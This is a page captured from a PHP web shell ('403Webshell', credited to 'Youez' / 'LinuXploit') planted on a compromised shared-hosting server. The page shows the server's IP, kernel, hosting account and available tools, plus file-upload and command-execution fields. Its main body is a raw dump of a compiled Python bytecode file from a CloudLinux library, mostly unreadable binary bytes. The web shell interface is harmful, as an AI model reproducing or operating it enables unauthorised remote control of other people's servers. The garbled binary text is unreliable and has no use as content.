403Webshell
Server IP : 198.54.126.161  /  Your IP : 216.73.217.148
Web Server : LiteSpeed
System : Linux premium12.web-hosting.com 4.18.0-553.94.1.lve.el8.x86_64 #1 SMP Thu Jan 22 12:37:22 UTC 2026 x86_64
User : amerfigf ( 898)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcagefslib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clcagefslib/__pycache__/io.cpython-311.pyc
�

 j�
���ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
eje��Z
dd�Zejd���Zd�Zdd	�Zd
�ZdS)
�N)�	clcaptain)�ExternalProgramFailedTc�$�	t|d��5}|���cddd��S#1swxYwYdS#ttf$r>t	jd|ztjd��|s�tjd��YdSwxYw)z�
    Helper for read file, process errors and make backup before read
    :param: filename `str` name of file for read
    :param: exit_on_error `bool` use sys.exit on error or raise exception
    �rNzError: failed to read �)	�open�	readlines�OSError�IOError�secureio�logging�SILENT_FLAG�sys�exit)�filename�
exit_on_error�_files   �Bopt/cloudlinux/venv/lib/python3.11/site-packages/clcagefslib/io.py�	read_filers����
�(�C�
 �
 �	%�E��?�?�$�$�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%�	%����	%�	%�	%�	%�	%�	%��
�W�������1�H�<�h�>R�TU�V�V�V��	�����������	���s-�A�3�A�7�A�7�A�AB�Bc� �t|��S)N)r)�paths r�read_file_cachedr%s���T�?�?��c�z�tj|||||tj���}tj|��|duS)N)�logger)r�create_dir_securer
�closefd)r�perm�uid�gid�parent_path�fds      r�make_userdirr#+sF��	�	#��d�C��k�(�2B�
�
�
�B�
��R����
��:�rFc
��|s tj�|���s2	tj|��nj#t$r]}|jt
jkrt�d|�d���nt�	d|��|���Yd}~nd}~wwxYw	tj||��n�#ttf$r�}d|�d|�dt|���dd	����}t�	||���|rtj||d
��nt#|t$j���Yd}~d
Sd}~wwxYwdS)
NzSymlink z does not existz Error: Unable to remove symlink )�exc_infoz Error: failed to create symlink z to z : �ErrnozErr codeT)�fileF)�osr�islink�unlinkr
�errno�ENOENTr�info�errorr�symlinkr�str�replacerr
�printr�stderr)�	dest_path�	link_name�	write_log�force�silent�e�msgs       r�switch_symlinkr;4s�����B�G�N�N�9�-�-��	Y��I�i� � � � ���	Y�	Y�	Y��w�%�,�&�&����A�y�A�A�A�B�B�B�B����K�	�K�K�VW��X�X�X����������		Y����
		���i��3�3�3�3���.�/�	�	�	�w�Y�w�w�I�w�w�RU�VW�RX�RX�R`�R`�ah�jt�Ru�Ru�w�w�C��L�L��q�L�)�)�)��
,�� ��f�d�3�3�3�3��c��
�+�+�+�+��4�4�4�4�4�����	�����5s/�9�
B �AB�B �$B:�:E�A<E
�
Ec�p�d}	tjd|d���5}|j}|�|��|���tj|�����ddd��n#1swxYwYtj||��|rGt
j	�
|��r*	tj|��dS#t$rYdSwxYwdSdS#|rEt
j	�
|��r'	tj|��w#t$rYwwxYwwwxYw)N�wF)�dir�delete)
�tempfile�NamedTemporaryFile�name�write�flushr(�fsync�filenor1r�exists�remover
)�	directoryr�content�	temp_path�tmp_files     r�
write_via_tmprMJs����I��
�
(��)�E�
J�
J�
J�	(�h� �
�I��N�N�7�#�#�#��N�N�����H�X�_�_�&�&�'�'�'�		(�	(�	(�	(�	(�	(�	(�	(�	(�	(�	(����	(�	(�	(�	(�
	�
�9�h�'�'�'��	�����	�2�2�	�
��	�)�$�$�$�$�$���
�
�
����
����	�	�	�	��9�	�����	�2�2�	�
��	�)�$�$�$�$���
�
�
���
����	�	���se�C+�AA>�2C+�>B�C+�B�C+�C�
C$�#C$�+"D5�D#�"D5�#
D0�-D5�/D0�0D5)T)TTF)r+�	functoolsr
r(rr@r�clcommonr�clcommon.utilsr�	getLogger�__name__rr�cacherr#r;rM�rr�<module>rUs���

������������	�	�	�	�
�
�
�
���������������0�0�0�0�0�0�
��	�8�	$�	$������"�������
�������,����r

Youez - 2016 - github.com/yon3zu
LinuXploit